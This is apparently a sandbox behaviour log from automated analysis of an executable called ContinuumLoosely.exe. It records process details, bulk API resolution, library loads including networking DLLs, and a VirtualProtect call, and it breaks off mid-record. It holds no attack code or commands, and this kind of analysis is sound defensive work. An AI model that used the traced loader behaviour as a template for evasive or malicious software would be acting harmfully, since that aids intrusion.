# Flog Txt Version 1 # Analyzer Version: 3.1.2 # Analyzer Build Date: Oct 28 2019 11:51:53 # Log Creation Date: 23.12.2019 13:24:17.365 Process: id = "1" image_name = "continuumloosely.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\continuumloosely.exe" page_root = "0x4ecc1000" os_pid = "0x950" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ContinuumLoosely.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x954 [0024.370] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76c20000 [0024.372] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0024.372] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0024.373] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0024.373] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesA") returned 0x76c5287b [0024.373] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0024.373] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0024.373] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0024.373] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0024.373] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0024.373] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0024.373] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0024.373] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0024.373] GetProcAddress (hModule=0x76c20000, lpProcName="SetHandleCount") returned 0x76c3cb29 [0024.374] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0024.374] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0024.374] GetProcAddress (hModule=0x76c20000, lpProcName="HeapCreate") returned 0x76c34a2d [0024.374] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0024.374] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0024.374] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0024.374] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0024.374] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0024.374] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0024.374] GetProcAddress (hModule=0x76c20000, lpProcName="HeapQueryInformation") returned 0x76cb43ff [0024.374] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0024.375] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0024.375] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0024.375] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSetInformation") returned 0x76c35651 [0024.375] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0024.375] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0024.375] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0024.375] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0024.375] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualQuery") returned 0x76c3445a [0024.375] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0024.375] GetProcAddress (hModule=0x76c20000, lpProcName="ExitThread") returned 0x7718d598 [0024.375] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0024.376] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0024.376] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0024.376] GetProcAddress (hModule=0x76c20000, lpProcName="FindResourceExW") returned 0x76c33299 [0024.376] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0024.376] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0024.376] GetProcAddress (hModule=0x76c20000, lpProcName="SearchPathA") returned 0x76c4a15c [0024.376] GetProcAddress (hModule=0x76c20000, lpProcName="GetProfileIntA") returned 0x76c5ce47 [0024.376] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0024.376] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentDirectoryA") returned 0x76c5d4f6 [0024.376] GetProcAddress (hModule=0x76c20000, lpProcName="GetNumberFormatA") returned 0x76c5a58d [0024.376] GetProcAddress (hModule=0x76c20000, lpProcName="GetWindowsDirectoryA") returned 0x76c52b0a [0024.377] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0024.377] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0024.377] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultUILanguage") returned 0x76c344ab [0024.377] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoA") returned 0x76c4d5e5 [0024.377] GetProcAddress (hModule=0x76c20000, lpProcName="InterlockedExchange") returned 0x76c31462 [0024.377] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0024.377] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesA") returned 0x76c35414 [0024.377] GetProcAddress (hModule=0x76c20000, lpProcName="FileTimeToLocalFileTime") returned 0x76c3e29e [0024.377] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesExA") returned 0x76c5cc14 [0024.377] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0024.377] GetProcAddress (hModule=0x76c20000, lpProcName="FreeResource") returned 0x76c4d3db [0024.377] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFindAtomA") returned 0x76c5d358 [0024.378] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalDeleteAtom") returned 0x76c4cdad [0024.378] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0024.378] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0024.378] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0024.378] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAddAtomA") returned 0x76c50526 [0024.378] GetProcAddress (hModule=0x76c20000, lpProcName="GetFullPathNameA") returned 0x76c3e2c1 [0024.378] GetProcAddress (hModule=0x76c20000, lpProcName="GetVolumeInformationA") returned 0x76c56dcb [0024.378] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0024.378] GetProcAddress (hModule=0x76c20000, lpProcName="DuplicateHandle") returned 0x76c31886 [0024.378] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSize") returned 0x76c3196e [0024.378] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0024.379] GetProcAddress (hModule=0x76c20000, lpProcName="UnlockFile") returned 0x76c5cf36 [0024.379] GetProcAddress (hModule=0x76c20000, lpProcName="LockFile") returned 0x76c5cf1e [0024.379] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0024.379] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0024.379] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0024.379] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0024.379] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFlags") returned 0x76c52be9 [0024.379] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringA") returned 0x76c33c5a [0024.379] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseActCtx") returned 0x76c354c1 [0024.379] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0024.379] GetProcAddress (hModule=0x76c20000, lpProcName="LocalReAlloc") returned 0x76c359bf [0024.379] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0024.380] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0024.380] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalHandle") returned 0x76c5d27c [0024.380] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalReAlloc") returned 0x76c4e4be [0024.380] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0024.380] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0024.380] GetProcAddress (hModule=0x76c20000, lpProcName="ActivateActCtx") returned 0x76c35490 [0024.380] GetProcAddress (hModule=0x76c20000, lpProcName="DeactivateActCtx") returned 0x76c3545c [0024.380] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpA") returned 0x76c4eceb [0024.380] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalGetAtomNameA") returned 0x76ca95b4 [0024.380] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileA") returned 0x76c558e5 [0024.380] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalSize") returned 0x76c4d16f [0024.381] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalLock") returned 0x76c4d0a7 [0024.381] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalUnlock") returned 0x76c4cfdf [0024.381] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageA") returned 0x76c55fbd [0024.381] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0024.381] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0024.381] GetProcAddress (hModule=0x76c20000, lpProcName="GetVolumeInformationW") returned 0x76c4c860 [0024.381] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0024.381] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTime") returned 0x76c35a96 [0024.381] GetProcAddress (hModule=0x76c20000, lpProcName="GetTempPathA") returned 0x76c5276c [0024.381] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileTime") returned 0x76c34407 [0024.381] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiW") returned 0x76c4d5cd [0024.382] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemInfo") returned 0x76c349ca [0024.382] GetProcAddress (hModule=0x76c20000, lpProcName="GetTempFileNameA") returned 0x76c59d3f [0024.382] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0024.382] GetProcAddress (hModule=0x76c20000, lpProcName="QueueUserAPC") returned 0x76c59f5d [0024.382] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileA") returned 0x76c3e2ce [0024.382] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleTitleA") returned 0x76cd6800 [0024.382] GetProcAddress (hModule=0x76c20000, lpProcName="FileTimeToSystemTime") returned 0x76c3542c [0024.382] GetProcAddress (hModule=0x76c20000, lpProcName="MulDiv") returned 0x76c31b80 [0024.382] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0024.382] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0024.382] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0024.382] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimes") returned 0x76cb358d [0024.383] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLangID") returned 0x76c4d5fd [0024.383] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0024.383] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsA") returned 0x76c3e349 [0024.383] GetProcAddress (hModule=0x76c20000, lpProcName="SleepEx") returned 0x76c31215 [0024.383] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0024.383] GetProcAddress (hModule=0x76c20000, lpProcName="SystemTimeToFileTime") returned 0x76c35a7e [0024.383] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0024.383] GetProcAddress (hModule=0x76c20000, lpProcName="OpenFile") returned 0x76c4a2ff [0024.383] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0024.383] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSection") returned 0x77162c42 [0024.383] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0024.384] GetProcAddress (hModule=0x76c20000, lpProcName="LockResource") returned 0x76c35959 [0024.384] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0024.384] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0024.384] GetProcAddress (hModule=0x76c20000, lpProcName="IsBadReadPtr") returned 0x76c5d075 [0024.384] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0024.384] GetProcAddress (hModule=0x76c20000, lpProcName="FindResourceW") returned 0x76c35971 [0024.384] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0024.384] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0024.384] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0024.384] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExA") returned 0x76c34913 [0024.384] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleA") returned 0x76c31245 [0024.385] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0024.385] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0024.385] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiA") returned 0x76c33e8e [0024.385] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0024.385] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0024.385] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0024.385] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0024.385] GetProcAddress (hModule=0x76c20000, lpProcName="IsDBCSLeadByte") returned 0x76c31748 [0024.385] GetProcAddress (hModule=0x76c20000, lpProcName="SizeofResource") returned 0x76c35ac9 [0024.385] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0024.385] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0024.385] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0024.386] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0024.386] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0024.386] GetProcAddress (hModule=0x76c20000, lpProcName="InterlockedDecrement") returned 0x76c313f0 [0024.386] GetProcAddress (hModule=0x76c20000, lpProcName="InterlockedIncrement") returned 0x76c31400 [0024.386] GetProcAddress (hModule=0x76c20000, lpProcName="LoadResource") returned 0x76c3594c [0024.386] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0024.386] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0024.386] GetProcAddress (hModule=0x76c20000, lpProcName="FindResourceA") returned 0x76c4e9bb [0024.386] GetProcAddress (hModule=0x76c20000, lpProcName="ResumeThread") returned 0x76c343ef [0024.386] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0024.386] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0024.387] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeThread") returned 0x76c4d5b5 [0024.387] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocalTime") returned 0x76c35aa6 [0024.390] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0024.390] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0024.390] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0024.390] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadPriority") returned 0x76c332bb [0024.390] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0024.390] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventA") returned 0x76c3328c [0024.390] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0024.390] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateThread") returned 0x76c37a2f [0024.390] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0024.390] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0024.390] GetProcAddress (hModule=0x76c20000, lpProcName="SetEvent") returned 0x76c316c5 [0024.391] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0024.391] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0024.391] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0024.391] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0024.391] GetProcAddress (hModule=0x74d40000, lpProcName="RegisterEventSourceA") returned 0x74d52d46 [0024.391] GetProcAddress (hModule=0x74d40000, lpProcName="OpenProcessToken") returned 0x74d54304 [0024.391] GetProcAddress (hModule=0x74d40000, lpProcName="StartServiceCtrlDispatcherA") returned 0x74d83553 [0024.391] GetProcAddress (hModule=0x74d40000, lpProcName="DeleteService") returned 0x74d6715c [0024.391] GetProcAddress (hModule=0x74d40000, lpProcName="OpenThreadToken") returned 0x74d5432c [0024.391] GetProcAddress (hModule=0x74d40000, lpProcName="SetSecurityDescriptorGroup") returned 0x74d4f464 [0024.391] GetProcAddress (hModule=0x74d40000, lpProcName="GetTokenInformation") returned 0x74d5431c [0024.391] GetProcAddress (hModule=0x74d40000, lpProcName="CopySid") returned 0x74d5444e [0024.392] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExA") returned 0x74d514b3 [0024.392] GetProcAddress (hModule=0x74d40000, lpProcName="RegisterServiceCtrlHandlerA") returned 0x74d834c3 [0024.392] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0024.392] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceA") returned 0x74d52bf0 [0024.392] GetProcAddress (hModule=0x74d40000, lpProcName="GetLengthSid") returned 0x74d5413b [0024.392] GetProcAddress (hModule=0x74d40000, lpProcName="IsValidSid") returned 0x74d52eef [0024.392] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerA") returned 0x74d52bd8 [0024.392] GetProcAddress (hModule=0x74d40000, lpProcName="SetSecurityDescriptorOwner") returned 0x74d4f44c [0024.392] GetProcAddress (hModule=0x74d40000, lpProcName="SetServiceStatus") returned 0x74d4c7a6 [0024.392] GetProcAddress (hModule=0x74d40000, lpProcName="RegDeleteValueA") returned 0x74d6a4ea [0024.392] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryInfoKeyA") returned 0x74d4e143 [0024.393] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExA") returned 0x74d54907 [0024.393] GetProcAddress (hModule=0x74d40000, lpProcName="ReportEventA") returned 0x74d43ee9 [0024.393] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExA") returned 0x74d51469 [0024.393] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyA") returned 0x74d4cd01 [0024.393] GetProcAddress (hModule=0x74d40000, lpProcName="RegEnumKeyExA") returned 0x74d51481 [0024.393] GetProcAddress (hModule=0x74d40000, lpProcName="InitializeSecurityDescriptor") returned 0x74d54620 [0024.393] GetProcAddress (hModule=0x74d40000, lpProcName="RegDeleteKeyA") returned 0x74d6a8b7 [0024.393] GetProcAddress (hModule=0x74d40000, lpProcName="DeregisterEventSource") returned 0x74d535dd [0024.393] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryInfoKeyW") returned 0x74d546e7 [0024.393] GetProcAddress (hModule=0x74d40000, lpProcName="CreateServiceA") returned 0x74d83158 [0024.393] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExA") returned 0x74d548ef [0024.393] LoadLibraryA (lpLibFileName="AVIFIL32.dll") returned 0x74b50000 [0024.394] GetProcAddress (hModule=0x74b50000, lpProcName="AVIFileInit") returned 0x74b55f9f [0024.394] GetProcAddress (hModule=0x74b50000, lpProcName="AVIFileOpenA") returned 0x74b56cbc [0024.394] LoadLibraryA (lpLibFileName="COMCTL32.dll") returned 0x74a30000 [0024.394] GetProcAddress (hModule=0x74a30000, lpProcName="ImageList_GetIconSize") returned 0x74a3d8c8 [0024.394] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x74ec0000 [0024.394] GetProcAddress (hModule=0x74ec0000, lpProcName="GetFileTitleA") returned 0x74ec284b [0024.394] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0024.394] GetProcAddress (hModule=0x759b0000, lpProcName="CertGetNameStringA") returned 0x75a0b422 [0024.394] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x75ad0000 [0024.394] GetProcAddress (hModule=0x75ad0000, lpProcName="ExtSelectClipRgn") returned 0x75ae879f [0024.395] GetProcAddress (hModule=0x75ad0000, lpProcName="CreatePatternBrush") returned 0x75ae5dde [0024.395] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateBitmap") returned 0x75ae5d53 [0024.395] GetProcAddress (hModule=0x75ad0000, lpProcName="SelectPalette") returned 0x75ae5a86 [0024.395] GetProcAddress (hModule=0x75ad0000, lpProcName="GetObjectType") returned 0x75ae7cfc [0024.395] GetProcAddress (hModule=0x75ad0000, lpProcName="CreatePen") returned 0x75aeba4f [0024.395] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateHatchBrush") returned 0x75b139a9 [0024.395] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateFontIndirectA") returned 0x75aecffd [0024.395] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateRectRgnIndirect") returned 0x75aea764 [0024.395] GetProcAddress (hModule=0x75ad0000, lpProcName="SetRectRgn") returned 0x75aea785 [0024.395] GetProcAddress (hModule=0x75ad0000, lpProcName="PatBlt") returned 0x75aeb21d [0024.395] GetProcAddress (hModule=0x75ad0000, lpProcName="DPtoLP") returned 0x75ae8f89 [0024.395] GetProcAddress (hModule=0x75ad0000, lpProcName="GetTextExtentPoint32A") returned 0x75aed349 [0024.396] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateDIBitmap") returned 0x75ae7217 [0024.396] GetProcAddress (hModule=0x75ad0000, lpProcName="GetTextMetricsA") returned 0x75aed1f1 [0024.396] GetProcAddress (hModule=0x75ad0000, lpProcName="EnumFontFamiliesA") returned 0x75b0c3ec [0024.396] GetProcAddress (hModule=0x75ad0000, lpProcName="GetBkColor") returned 0x75aea5f4 [0024.396] GetProcAddress (hModule=0x75ad0000, lpProcName="CreatePalette") returned 0x75ae795a [0024.396] GetProcAddress (hModule=0x75ad0000, lpProcName="GetPaletteEntries") returned 0x75aecebf [0024.396] GetProcAddress (hModule=0x75ad0000, lpProcName="GetNearestPaletteIndex") returned 0x75af2807 [0024.396] GetProcAddress (hModule=0x75ad0000, lpProcName="RealizePalette") returned 0x75aeb001 [0024.396] GetProcAddress (hModule=0x75ad0000, lpProcName="GetSystemPaletteEntries") returned 0x75aecf02 [0024.396] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateDIBSection") returned 0x75aeac46 [0024.396] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateRoundRectRgn") returned 0x75b13736 [0024.397] GetProcAddress (hModule=0x75ad0000, lpProcName="CreatePolygonRgn") returned 0x75aee406 [0024.397] GetProcAddress (hModule=0x75ad0000, lpProcName="GetTextColor") returned 0x75aea705 [0024.397] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateEllipticRgn") returned 0x75b136ff [0024.397] GetProcAddress (hModule=0x75ad0000, lpProcName="Polyline") returned 0x75aee3ca [0024.397] GetProcAddress (hModule=0x75ad0000, lpProcName="ScaleWindowExtEx") returned 0x75b086aa [0024.397] GetProcAddress (hModule=0x75ad0000, lpProcName="Polygon") returned 0x75aecafc [0024.397] GetProcAddress (hModule=0x75ad0000, lpProcName="SetDIBColorTable") returned 0x75aecc96 [0024.397] GetProcAddress (hModule=0x75ad0000, lpProcName="StretchBlt") returned 0x75aeb895 [0024.397] GetProcAddress (hModule=0x75ad0000, lpProcName="SetPixel") returned 0x75aeccee [0024.397] GetProcAddress (hModule=0x75ad0000, lpProcName="Rectangle") returned 0x75aea53a [0024.397] GetProcAddress (hModule=0x75ad0000, lpProcName="OffsetRgn") returned 0x75aeb3d4 [0024.398] GetProcAddress (hModule=0x75ad0000, lpProcName="GetRgnBox") returned 0x75aeb6aa [0024.398] GetProcAddress (hModule=0x75ad0000, lpProcName="EnumFontFamiliesExA") returned 0x75af253a [0024.398] GetProcAddress (hModule=0x75ad0000, lpProcName="LPtoDP") returned 0x75aeada9 [0024.398] LoadLibraryA (lpLibFileName="gdiplus.dll") returned 0x748a0000 [0024.398] LoadLibraryA (lpLibFileName="IMM32.dll") returned 0x75b60000 [0024.398] LoadLibraryA (lpLibFileName="MSIMG32.dll") returned 0x74890000 [0024.398] LoadLibraryA (lpLibFileName="ODBC32.dll") returned 0x74800000 [0024.398] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0024.398] LoadLibraryA (lpLibFileName="OLEACC.dll") returned 0x747c0000 [0024.398] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0024.399] LoadLibraryA (lpLibFileName="RASAPI32.dll") returned 0x74760000 [0024.399] LoadLibraryA (lpLibFileName="SETUPAPI.dll") returned 0x75c00000 [0024.399] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0024.399] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0024.399] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0024.399] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0024.399] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74b10000 [0024.399] LoadLibraryA (lpLibFileName="WinSCard.dll") returned 0x74710000 [0024.399] LoadLibraryA (lpLibFileName="WINSPOOL.DRV") returned 0x74560000 [0024.400] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0024.400] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0024.456] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0024.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x53c5cce0, dwHighDateTime=0x1d5b994)) [0024.456] GetCurrentProcessId () returned 0x950 [0024.456] GetCurrentThreadId () returned 0x954 [0024.456] GetTickCount () returned 0x11419b9 [0024.456] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=14475937719) returned 1 [0024.456] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ContinuumLoosely.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, 